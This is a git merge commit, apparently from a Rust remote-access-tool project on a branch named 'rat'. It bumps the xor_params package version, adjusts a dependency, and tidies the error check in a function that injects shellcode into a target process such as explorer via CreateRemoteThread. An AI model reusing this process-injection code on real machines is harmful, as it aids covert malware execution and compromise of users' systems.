Merge branch 'master' into rat

This commit is contained in:
koins
2022-04-13 21:39:43 -07:00
3 changed files with 4 additions and 4 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "xor_params",
"message": "1.1.1",
"message": "1.1.2",
"color": "blue"
}
@@ -68,7 +68,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateRemoteThread.html
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
if let Err(_) = unsafe { CreateRemoteThread(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) } {
if unsafe { CreateRemoteThread(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) }.is_err() {
panic!("CreateRemoteThread failed");
}
}
+2 -2
View File
@@ -1,6 +1,6 @@
[package]
name = "xor_params"
version = "1.1.1"
version = "1.1.2"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -9,4 +9,4 @@ rust-version = "1.59"
[dependencies]
rco_config = {path = "../rco_config"}
rco_utils = {path = "../rco_utils"}
rco_utils = {path = "../rco_utils", features = ["xor"] }